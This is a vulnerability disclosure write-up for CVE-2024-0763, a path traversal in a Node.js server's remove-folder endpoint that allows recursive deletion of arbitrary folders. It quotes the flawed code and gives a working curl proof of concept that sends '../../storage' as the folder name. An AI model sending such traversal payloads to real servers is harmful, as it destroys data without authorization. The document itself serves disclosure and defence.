Featured image of post CVE-2024-0763 - Arbitrary Folder Delete

CVE-2024-0763 - Arbitrary Folder Delete

Description of the CVE-2024-0763

Improper input validation leads to arbitrary folder deletion (recursively)

🔒️ Requirements

A standard user account (without any admin privilege)

📝 Description

Any user can delete an arbitraty folder (recursively) on remote server due to bad input sanitization leading to path traversal.

This function allows to delete an arbitrary folder (recursively) :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
async function purgeFolder(folderName) {
  if (folderName === "custom-documents") return;
  const documentsFolder =
    process.env.NODE_ENV === "development"
      ? path.resolve(__dirname, `../../storage/documents`)
      : path.resolve(process.env.STORAGE_DIR, `documents`);

  const folderPath = path.resolve(documentsFolder, folderName);
  const filenames = fs
    .readdirSync(folderPath)
    .map((file) => path.join(folderName, file));
  const workspaces = await Workspace.where();

  const purgePromises = [];
  // Remove associated Vector-cache files
  for (const filename of filenames) {
    const rmVectorCache = () =>
      new Promise((resolve) =>
        purgeVectorCache(filename).then(() => resolve(true))
      );
    purgePromises.push(rmVectorCache);
  }

  // Remove workspace document associations
  for (const workspace of workspaces) {
    const rmWorkspaceDoc = () =>
      new Promise((resolve) =>
        Document.removeDocuments(workspace, filenames).then(() => resolve(true))
      );
    purgePromises.push(rmWorkspaceDoc);
  }

  await Promise.all(purgePromises.flat().map((f) => f()));
  fs.rmSync(folderPath, { recursive: true }); // Delete root document and source files.

  return;
}

For example, if folderName contains something like ../../../../../../../tmp/, the fs.rmSync(folderPath, { recursive: true }) line of code will result in deleting the file /tmp folder.

Now, this is a vulnerability because the function is called from this endpoint where an attacker fully control the name parameter of te request body.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
  app.delete(
    "/system/remove-folder",
    [validatedRequest],
    async (request, response) => {
      try {
        const { name } = reqBody(request);
        await purgeFolder(name);
        response.sendStatus(200).end();
      } catch (e) {
        console.log(e.message, e);
        response.sendStatus(500).end();
      }
    }
  );

We can see that it directly calls purgeFolder with a fully controlled and unsanitized value, thus resulting in the deletion of an arbitrary folder (recursively) if we use ../ to do path traversal.

💥 Proof of Concept

Here is a proof of concept deleting the storage folder (it could be any folder) :

  1. Check that the storage folder exists :

  1. Login into your account (you can skip this step if using a development environment)
  2. Execute the following request :
    1. Using curl :
1
2
3
4
5
6
# Replace with your token
export TOKEN=""
curl --location --request DELETE 'http://localhost:3001/api/system/remove-folder' \
--header 'Content-Type: application/json' \
--header "Authorization: Bearer $TOKEN" \
--data '{"name" : "../../storage"}'

You can also do it using POSTMAN :

  1. Check that the folder folder has been deleted successfully :

🛠️ Fix suggestion

Sanitize the name parameter of the request.

🖊️ références

You can find the report here and the CVE details here.

Built with Hugo
Theme Stack designed by Jimmy